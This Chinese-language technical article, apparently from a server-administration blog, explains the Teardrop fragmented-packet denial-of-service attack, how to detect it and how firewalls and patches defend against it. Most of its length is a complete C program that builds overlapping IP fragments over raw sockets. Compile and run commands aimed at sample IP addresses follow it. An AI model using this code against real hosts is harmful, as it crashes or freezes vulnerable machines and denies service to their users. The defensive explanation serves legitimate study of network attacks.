Teardrop攻击属于什么攻击？Teardrop攻击怎么防御？

驰网飞飞

Teardrop攻击是一种拒绝服务攻击，是一种基于UDP的病态分片数据包的攻击方法，英文“Tear”是“眼泪”的意思，“drop”是“掉落”的意思，顾名思义，Teardrop攻击是一种令人落泪的攻击手段，可见其破坏威力很强大

主要针对早期微软操作系统（95、98、3.x、nt）近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效

攻击效果
被攻击计算机会出现蓝屏、重启、卡死等情况

1、Teardrop攻击原理
Teardrop攻击工作原理是攻击者A给受害者B发送一些分片IP报文，并且故意将“13位分片偏移”字段设置成错误的值(既可与上一分片数据重叠，也可错开)，B在组合这种含有重叠偏移的伪造分片报文时，某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。

Teardrop攻击属于什么攻击？Teardrop攻击怎么防御？

利用UDP包重组时重叠偏移（假设数据包中第二片IP包的偏移量小于第一片结束的位移，而且算上第二片IP包的Data，也未超过第一片的尾部，这就是重叠现象。）的漏洞对系统主机发动拒绝服务攻击，最终导致主机宕机；对于Windows系统会导致蓝屏死机，并显示STOP 0x0000000A错误。

2、检测方法
对接收到的分片数据包进行分析，计算数据包的片偏移量（Offset）是否有误。

3、Teardrop攻击防御方法
网络安全设备将接收到的分片报文先放入缓存中，并根据源IP地址和目的IP地址对报文进行分组，源IP地址和目的IP地址均相同的报文归入同一组，然后对每组IP报文的相关分片信息进行检查，丢弃分片信息存在错误的报文。为了防止缓存溢出，当缓存快要存满时，直接丢弃后续分片报文。

反攻击方法：添加系统补丁程序，丢弃收到的病态分片数据包并对这种攻击进行审计。尽可能采用最新的操作系统，或者在防火墙上设置分段重组功能，由防火墙先接收到同一原包中的所有拆分数据包，然后完成重组工作，而不是直接转发。因为防火墙上可以设置当出现重叠字段时所采用的规则

Teardrop攻击属于什么攻击？Teardrop攻击怎么防御？

MAC头（帧头）：14个字节，包括目标mac6字节，源mac6字节，上层协议2字节
FCS：帧校验序列，4个字节ip头：源ip和目标ip，20字节

Ping大包，比较正常分段与teardrop攻击流量的区别

1. ping -l 4000 192.168.199.158

复制代码

针对早期Windows系统SMB协议的攻击
teardrop_smb.py

针对Android.IOS 系统的攻击
teardrop_androidios.py

攻击向量并不确定，要视具体协议分析

4、攻击目标
泪滴攻击是一种拒绝服务（DoS）攻击，涉及将碎片数据包发送到目标机器。由于接收这些数据包的机器由于TCP / IP碎片重组错误而无法重新组装，因此数据包相互重叠，导致目标网络设备崩溃。这通常发生在较早的操作系统上，例如Windows 3.1x，Windows 95，Windows NT和2.1.63之前版本的Linux内核。

IP报头中的一个字段是“片段偏移量”字段，指示包含在分段数据包中的数据相对于原始数据包中的数据的起始位置或偏移量。如果一个分片数据包的偏移量和大小之和不同于下一个分片数据包的偏移量和大小之和，则数据包重叠。发生这种情况时，易受泪滴攻击的服务器无法重新组装数据包 ，从而导致拒绝服务状况。

5、编写Teardrop程序(创建一个虚假的IP数据包)
1）、在 Ubuntu 系统下，创建一个 Teardrop.c 文件，写入如下内容：

1. #include <stdio.h>
   
2. #include <stdlib.h>
   
3. #include <unistd.h>
   
4. #include <string.h>
   
5. #include <netdb.h>
   
6. #include <netinet/in.h>
   
7. #include <netinet/udp.h>
   
8. #include <arpa/inet.h>
   
9. #include <sys/types.h>
   
10. #include <sys/time.h>
    
11. #include <sys/socket.h>
    
12. #include <errno.h>
    
13. 
    
14. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
    
15. /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    
16. #define FIX(n)  (n)
    
17. #else
    
18. /* OpenBSD 2.1, all Linux */
    
19. #define FIX(n)  htons(n)
    
20. #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
    
21. 
    
22. #define IP_MF 0x2000  /* More IP fragment en route */
    
23. #define IPH 0x14    /* IP header size */
    
24. #define UDPH 0x8     /* UDP header size */
    
25. #define PADDING  0x1c    /* datagram frame padding for first packet */
    
26. #define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
    
27. #define COUNT 0x1      /* Linux dies with 1, NT is more stalwart and can
    
28.                         * withstand maybe 5 or 10 sometimes...  Experiment.*/
    
29. 
    
30. void usage(u_char *);
    
31. u_long name_resolve(u_char *);
    
32. void send_frags(int, u_long, u_long, u_short, u_short);
    
33. 
    
34. int main(int argc, char **argv)
    
35. {
    
36.     int one = 1, count = 0, i, rip_sock;
    
37.     // 定义源地址和目的地址
    
38.     u_long src_ip = 0, dst_ip = 0;
    
39.     // 定义源端口和目的端口
    
40.     u_short src_prt = 0, dst_prt = 0;
    
41.     // 定义一个32位的IPv4地址
    
42.     struct in_addr addr;
    
43.     printf("teardrop route|daemon9\n\n");
    
44.     //创建原始套接字
    
45.     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    
46.     {
    
47.         fprintf(stderr, "raw socket");
    
48.         exit(1);
    
49.     }
    
50.     //设置套接字选项IP_HDRINCL
    
51.     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
    
52.     (char *)&one, sizeof(one))< 0)
    
53.     {
    
54.         fprintf(stderr, "IP_HDRINCL");
    
55.         exit(1);
    
56.     }
    
57.     if (argc < 3)
    
58.         usage(argv[0]);
    
59.     // 设置源IP 和 目的IP
    
60.     if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
    
61.     {
    
62.         fprintf(stderr, "What the hell kind of IP address is that?\n");
    
63.         exit(1);
    
64.     }
    
65.     while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    
66.     {
    
67.         switch (i)
    
68.         {
    
69.             case 's': // source port (should be emphemeral)
    
70.             src_prt = (u_short)atoi(optarg);
    
71.             break;
    
72.             case 't': // dest port (DNS, anyone?)
    
73.             dst_prt = (u_short)atoi(optarg);
    
74.             break;
    
75.             case 'n': // number to send
    
76.             count = atoi(optarg);
    
77.             break;
    
78.             default :
    
79.             usage(argv[0]);
    
80.             break; // NOTREACHED
    
81.         }
    
82.     }
    
83.     srandom((unsigned)(utimes("0",(time_t)0)));
    
84.     if (!src_prt) src_prt = (random() % 0xffff);
    
85.     if (!dst_prt) dst_prt = (random() % 0xffff);
    
86.     if (!count)
    
87.     count = COUNT;
    
88.     printf("Death on flaxen wings:\n");
    
89.     addr.s_addr = src_ip;
    
90.     printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
    
91.     addr.s_addr = dst_ip;
    
92.     printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
    
93.     printf(" Amt: %5d\n", count);
    
94.     printf("[\n ");
    
95.     for (i = 0; i < count; i++)
    
96.     {
    
97.         send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
    
98.         // printf("b00m ");
    
99.         usleep(500);
    
100.     }
     
101.     printf("]\n");
     
102.     return (0);
     
103. }
     
104. 
     
105. // 设置 IP 包的内容
     
106. void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
     
107. {
     
108.     u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
     
109.     u_char byte; // a byte
     
110.     // 套接字地址结构
     
111.     struct sockaddr_in sin; /* socket protocol structure */
     
112.     sin.sin_family = AF_INET;
     
113.     sin.sin_port = src_prt;
     
114.     sin.sin_addr.s_addr = dst_ip;
     
115.     packet = (u_char *)malloc(IPH + UDPH + PADDING);
     
116.     p_ptr = packet;
     
117.     flag = packet;
     
118.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
     
119.     // IP version and header length
     
120.     byte = 0x45;
     
121.     memcpy(p_ptr, &byte, sizeof(u_char));
     
122.     p_ptr += 2; // IP TOS (skipped)
     
123.     // total length
     
124.     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
     
125.     p_ptr += 2;
     
126.     *((u_short *)p_ptr) = htons(242); // IP id
     
127.     p_ptr += 2;
     
128.     //IP frag flags and offset
     
129.     *((u_short *)p_ptr) |= FIX(IP_MF);
     
130.     p_ptr += 2;
     
131.     *((u_short *)p_ptr) = 0x40; // IP TTL
     
132.     byte = IPPROTO_UDP;
     
133.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
     
134.     // IP checksum filled in by kernel
     
135.     p_ptr += 4;
     
136.     // IP source address
     
137.     *((u_long *)p_ptr) = src_ip;
     
138.     p_ptr += 4;
     
139.     // IP destination address
     
140.     *((u_long *)p_ptr) = dst_ip;
     
141.     p_ptr += 4;
     
142.     *((u_short *)p_ptr) = htons(src_prt); // UDP source port
     
143.     p_ptr += 2;
     
144.     *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
     
145.     p_ptr += 2;
     
146.     *((u_short *)p_ptr) = htons(PADDING); // UDP total length
     
147.     p_ptr += 4;
     
148. 
     
149.     // 发送数据：Fake News
     
150.     *((u_short *)p_ptr) = 0x46;
     
151.     p_ptr++;
     
152.     *((u_short *)p_ptr) = 0x61;
     
153.     p_ptr++;
     
154.     *((u_short *)p_ptr) = 0x6B;
     
155.     p_ptr++;
     
156.     *((u_short *)p_ptr) = 0x65;
     
157.     p_ptr++;
     
158.     *((u_short *)p_ptr) = 0x20;
     
159.     p_ptr++;
     
160.     *((u_short *)p_ptr) = 0x4E;
     
161.     p_ptr++;
     
162.     *((u_short *)p_ptr) = 0x65;
     
163.     p_ptr++;
     
164.     *((u_short *)p_ptr) = 0x77;
     
165.     p_ptr++;
     
166.     *((u_short *)p_ptr) = 0x73;
     
167. 
     
168.     int i=1;
     
169.     while(i <= 56)
     
170.     {
     
171.         printf("%x\t",*flag);
     
172.         flag++;
     
173.         if(0 == i%8)
     
174.             printf("\n");
     
175.         i++;
     
176.     }
     
177. 
     
178.     if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
     
179.     (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
     
180.     {
     
181.         fprintf(stderr, "\nsendto");
     
182.         free(packet);
     
183.         exit(1);
     
184.     }
     
185.     // IP total length is 2 bytes into the header
     
186.     p_ptr = &packet[2];
     
187.     *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
     
188.     // IP offset is 6 bytes into the header
     
189.     p_ptr += 4;
     
190.     *((u_short *)p_ptr) = FIX(MAGIC);
     
191.     if (sendto(sock, packet, IPH+MAGIC+1, 0,
     
192.     (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
     
193.     {
     
194.         fprintf(stderr, "\nsendto");
     
195.         free(packet);
     
196.         exit(1);
     
197.     }
     
198.     free(packet);
     
199. }
     
200. 
     
201. // 获取主机信息
     
202. u_long name_resolve(u_char *host_name)
     
203. {
     
204.     struct in_addr addr;
     
205.     struct hostent *host_ent;
     
206.     if ((addr.s_addr = inet_addr(host_name)) == -1)
     
207.     {
     
208.         if (!(host_ent = gethostbyname(host_name))) return (0);
     
209.             bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
     
210.     }
     
211.     return (addr.s_addr);
     
212. }
     
213. 
     
214. void usage(u_char *name)
     
215. {
     
216.     fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
     
217.     exit(0);
     
218. }

复制代码

2）编译运行

1. gcc Teardrop.c -o Teardrop
   
2. sudo ./Teardrop 100.100.100.100 200.200.200.200

复制代码

Teardrop攻击属于什么攻击？Teardrop攻击怎么防御？

3）用 wireshark 抓包如下：

Teardrop攻击属于什么攻击？Teardrop攻击怎么防御？

感谢您的阅读，服务器大本营-技术文章内容集合站，助您成为更专业的服务器管理员！